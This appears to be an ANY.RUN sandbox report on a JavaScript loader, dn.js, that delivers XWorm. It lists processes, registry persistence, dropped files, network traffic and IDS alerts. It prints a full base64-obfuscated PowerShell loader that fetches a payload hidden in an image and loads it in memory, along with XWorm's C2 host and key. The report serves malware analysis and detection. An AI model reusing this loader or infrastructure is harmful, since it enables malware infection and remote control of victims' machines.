| File name: | dn.js |
| Full analysis: | https://app.any.run/tasks/fcab09a5-e25c-4475-ba9c-f4a8e0c2b23b |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | June 24, 2025, 10:26:13 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/javascript |
| File info: | JavaScript source, Unicode text, UTF-8 text, with very long lines (650), with CRLF line terminators |
| MD5: | 3A030B251E689B1D0F76ADDE2891BF20 |
| SHA1: | FFBD21404088EEED83ADF0931974288773C50C40 |
| SHA256: | E5C8AE0C5CCE74B8DF26F3A9E54EB66A716C0A2B52B48F50BAC06B2DAB40F73F |
| SSDEEP: | 1536:rDVWT+SykEx5eSkguksq70WGhF3azVflva0QuhN56:rDA+d9sq70WGezV9hNU |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2180 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2200 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3624 | "C:\Windows\System32\cmd.exe" /C copy *.js "C:\Users\Public\Downloads\polypoid.js" | C:\Windows\System32\cmd.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5744 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6264 | "C:\Windows\System32\WScript.exe" C:\Users\admin\AppData\Local\Temp\dn.js | C:\Windows\System32\wscript.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.812.10240.16384 Modules
| |||||||||||||||
| 6492 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | svchost.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6552 | "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: MSBuild.exe Version: 4.8.9037.0 built by: NET481REL1 Modules
XWorm(PID) Process(6552) MSBuild.exe C2skido.hopto.org:5050 Keys AES<123456789> Options Splitter<Xwormmm> Sleep time3 USB drop nameXWorm V5.6 Mutex80U1eMh0FwgCmoBd | |||||||||||||||
| 6796 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -noprofile -ep bypass -c "$miserabilism='JGJvc29uaXNlID0gJ1ZrRkonOyRhbnRpcGhvdG9nZW5pYyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGJvc29uaXNlKTskYW5hbGdpYyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRhbnRpcGhvdG9nZW5pYyk7JGppbGxldCA9ICdaRzVzYVdJdVNVOHVTRzl0WlE9PSc7JHBsYWdpYXJpc2UgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tYmFzZTY0U3RyaW5nKCRqaWxsZXQpOyR1bmRpYWxhYmxlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJHBsYWdpYXJpc2UpO0FkZC1UeXBlIC1Bc3NlbWJseU5hbWUgU3lzdGVtLkRyYXdpbmc7JG1heXRob3JuPSdodHRwczovL2FyY2hpdmUub3JnL2Rvd25sb2FkL3dwNDA5Njc5OS1sb3N0LWluLXNwYWNlLXdhbGxwYXBlcnNfMjAyNTA2MjFfMTQ0Ny93cDQwOTY3OTktbG9zdC1pbi1zcGFjZS13YWxscGFwZXJzLmpwZyc7JGNhcmRpb215b3BhdGhpYz1OZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRjYXJkaW9teW9wYXRoaWMuSGVhZGVycy5BZGQoJ1VzZXItQWdlbnQnLCdNb3ppbGxhLzUuMCcpOyR3b3J0d2FsZT0kY2FyZGlvbXlvcGF0aGljLkRvd25sb2FkRGF0YSgkbWF5dGhvcm4pOyRpbmFydGlzdGljYWw9W2J5dGVbXV0oMHg0MiwgMHg0RCwgMHgyQSwgMHg4QiwgMHgxNywgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgzNiwgMHgwMCwgMHgwMCwgMHgwMCwgMHgyOCwgMHgwMCk7JHRhbXBhbj0tMTtmb3IoJHJ1YmlkaWE9MDskcnViaWRpYSAtbGUgJHdvcnR3YWxlLkxlbmd0aC0kaW5hcnRpc3RpY2FsLkxlbmd0aDskcnViaWRpYSsrKXsgJHNwaWxpbmc9JHRydWU7Zm9yKCR1bmRlcmRvZ2lzbT0wOyR1bmRlcmRvZ2lzbSAtbHQgJGluYXJ0aXN0aWNhbC5MZW5ndGg7JHVuZGVyZG9naXNtKyspe2lmKCR3b3J0d2FsZVskcnViaWRpYSskdW5kZXJkb2dpc21dIC1uZSAkaW5hcnRpc3RpY2FsWyR1bmRlcmRvZ2lzbV0peyRzcGlsaW5nPSRwZW10dW1vbWFiO2JyZWFrfX1pZigkc3BpbGluZyl7JHRhbXBhbj0kcnViaWRpYTticmVha319aWYoJHRhbXBhbiAtZXEgLTEpe3JldHVybn07JGVzdGltYWJsZW5lc3M9JHdvcnR3YWxlWyR0YW1wYW4uLigkd29ydHdhbGUuTGVuZ3RoLTEpXTskem9tb3RoZXJhcHk9TmV3LU9iamVjdCBJTy5NZW1vcnlTdHJlYW07JHpvbW90aGVyYXB5LldyaXRlKCRlc3RpbWFibGVuZXNzLDAsJGVzdGltYWJsZW5lc3MuTGVuZ3RoKTskem9tb3RoZXJhcHkuU2VlaygwLCdCZWdpbicpfE91dC1OdWxsOyRtaWNyb3Bob25pY3M9W0RyYXdpbmcuQml0bWFwXTo6RnJvbVN0cmVhbSgkem9tb3RoZXJhcHkpOyRpbnRlcnZhc2N1bGFyPU5ldy1PYmplY3QgQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0W0J5dGVdO2Zvcigkc3RyaWRvcj0wOyRzdHJpZG9yIC1sdCAkbWljcm9waG9uaWNzLkhlaWdodDskc3RyaWRvcisrKXtmb3IoJGRlYmF1Y2hlZD0wOyRkZWJhdWNoZWQgLWx0ICRtaWNyb3Bob25pY3MuV2lkdGg7JGRlYmF1Y2hlZCsrKXska2Vyc2FudGl0ZT0kbWljcm9waG9uaWNzLkdldFBpeGVsKCRkZWJhdWNoZWQsJHN0cmlkb3IpOyRpbnRlcnZhc2N1bGFyLkFkZCgka2Vyc2FudGl0ZS5SKTskaW50ZXJ2YXNjdWxhci5BZGQoJGtlcnNhbnRpdGUuRyk7JGludGVydmFzY3VsYXIuQWRkKCRrZXJzYW50aXRlLkIpfX07JHB5bG9yZWN0b215PVtCaXRDb252ZXJ0ZXJdOjpUb0ludDMyKCRpbnRlcnZhc2N1bGFyLkdldFJhbmdlKDAsNCkuVG9BcnJheSgpLDApOyRjeW1iYWxpbmc9JGludGVydmFzY3VsYXIuR2V0UmFuZ2UoNCwkcHlsb3JlY3RvbXkpLlRvQXJyYXkoKTskcGxvdmVybGlrZT1bQ29udmVydF06OlRvQmFzZTY0U3RyaW5nKCRjeW1iYWxpbmcpLlJlcGxhY2UoJ0EnLCdAJykuUmVwbGFjZSgnQCcsJ0EnKTskcmlkZGxpbmdseT0nPT1BTXZrMVQzRkhONnhFZXZRMkxsVm1MbFIzY2hCM0x2b0RjMFJIYScuUmVwbGFjZSgnfC0nLCd0Jyk7JGFjcXVhaW50aW5nPVtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkcGxvdmVybGlrZSk7JGJlYW5jYWtlcz1bUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJGFjcXVhaW50aW5nKTskbWlzaW5jbGluZWQ9QCgkcmlkZGxpbmdseSwnMScsJ0M6XFVzZXJzXFB1YmxpY1xEb3dubG9hZHMnLCdwb2x5cG9pZCcsJ01TQnVpbGQnLCcnLCcnLCcnLCcnLCcnLCcnLCdqcycsJycsJycsJycsJzInLCcnKTskYmVhbmNha2VzLkdldFR5cGUoJHVuZGlhbGFibGUpLkdldE1ldGhvZCgkYW5hbGdpYykuSW52b2tlKCRncmF6aWVyLCRtaXNpbmNsaW5lZCk7JG1pY3JvcGhvbmljcy5EaXNwb3NlKCk7JHpvbW90aGVyYXB5LkRpc3Bvc2UoKQ==';$leafnose=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($miserabilism));Invoke-Expression $leafnose" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wscript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| (PID) Process: | (6264) wscript.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Script\Settings\Telemetry\wscript.exe |
| Operation: | write | Name: | JScriptSetScriptStateStarted |
Value: 974F170000000000 | |||
| (PID) Process: | (6796) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
| Operation: | write | Name: | Path |
Value: C:\Users\Public\Downloads\polypoid.js | |||
| (PID) Process: | (6552) MSBuild.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
| Operation: | write | Name: | XClient |
Value: C:\Users\admin\AppData\Roaming\XClient.exe | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 6796 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_h3fti5sz.rsn.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6796 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:327820725586B6DE0A5A10DEE2E91A49 | SHA256:7D7B5ED3ED039695367D9AA620ED54C109CFE301BC440FF9AB1461E3EE3A3FAD | |||
| 6552 | MSBuild.exe | C:\Users\admin\AppData\Roaming\XClient.exe | executable | |
MD5:9F331A11A054F33664FE86543FC34CF0 | SHA256:5F9AF68DB10B029453264CFC9B8EEE4265549A2855BB79668CCFC571FB11F5FC | |||
| 3624 | cmd.exe | C:\Users\Public\Downloads\polypoid.js | binary | |
MD5:15F3C37DAF24A94DB54DD61FB2D431BB | SHA256:E925898216D9A7699EE8B24F69701F0D793A565BA0B19FEF90DCFACF3363D93D | |||
| 6552 | MSBuild.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk | lnk | |
MD5:4A5782E05265021983D8653DF3F7A643 | SHA256:377867F25A877AC62477CCEF5B2EFE8B8BE1EDC0D2A2CC169C1FBA238F2DF881 | |||
| 6796 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_3r1qksv2.3ip.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
1268 | svchost.exe | GET | 200 | 23.216.77.28:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
2876 | svchost.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
1268 | svchost.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
4800 | SIHClient.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
4800 | SIHClient.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
6796 | powershell.exe | GET | 301 | 23.186.113.60:80 | http://paste.ee/d/xLz4qwOY/0 | unknown | — | — | shared |
2940 | svchost.exe | GET | 200 | 23.209.209.135:80 | http://x1.c.lencr.org/ | unknown | — | — | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
5944 | MoUsoCoreWorker.exe | 40.127.240.158:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | IE | unknown |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
4888 | RUXIMICS.exe | 40.127.240.158:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | IE | unknown |
1268 | svchost.exe | 40.127.240.158:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | IE | unknown |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
6796 | powershell.exe | 207.241.224.2:443 | archive.org | INTERNET-ARCHIVE | US | whitelisted |
6796 | powershell.exe | 207.241.233.67:443 | ia800907.us.archive.org | INTERNET-ARCHIVE | US | whitelisted |
1268 | svchost.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
1268 | svchost.exe | 23.216.77.28:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
1268 | svchost.exe | 95.101.149.131:80 | www.microsoft.com | Akamai International B.V. | NL | whitelisted |
Domain | IP | Reputation |
|---|---|---|
google.com |
| whitelisted |
archive.org |
| whitelisted |
ia800907.us.archive.org |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
nexusrules.officeapps.live.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
PID | Process | Class | Message |
|---|---|---|---|
— | — | Misc activity | INFO [ANY.RUN] USER_AGENTS Suspicious User-Agent (Mozilla/5.0) |
— | — | Unknown Traffic | ET USER_AGENTS Microsoft Dr Watson User-Agent (MSDW) |
— | — | Misc activity | INFO [ANY.RUN] USER_AGENTS Suspicious User-Agent (Mozilla/5.0) |
2200 | svchost.exe | Misc activity | ET INFO Pastebin-like Service Domain in DNS Lookup (paste .ee) |
6796 | powershell.exe | Potential Corporate Privacy Violation | ET INFO Pastebin-style Service (paste .ee) in TLS SNI |
— | — | Exploit Kit Activity Detected | ET EXPLOIT_KIT ReverseLoader Base64 Payload Inbound M2 |
2200 | svchost.exe | Potentially Bad Traffic | ET DYN_DNS DNS Query to DynDNS Domain *.hopto .org |
6552 | MSBuild.exe | Misc Attack | ET DROP Spamhaus DROP Listed Traffic Inbound group 43 |
6552 | MSBuild.exe | Malware Command and Control Activity Detected | REMOTE [ANY.RUN] Xworm TCP Packet |
— | — | Potentially Bad Traffic | PAYLOAD [ANY.RUN] Reverse Base64 Encoded EXE Inbound |